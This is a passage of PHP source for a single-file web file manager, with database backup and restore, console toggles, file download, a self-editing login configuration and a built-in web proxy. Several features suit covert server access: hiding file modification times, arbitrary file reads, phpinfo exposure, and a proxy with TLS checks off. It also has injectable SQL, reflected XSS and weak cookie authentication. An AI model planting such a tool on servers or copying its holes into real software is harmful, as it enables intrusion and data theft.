$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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");
}
.file {
background-image:
url("data:image/png;base64,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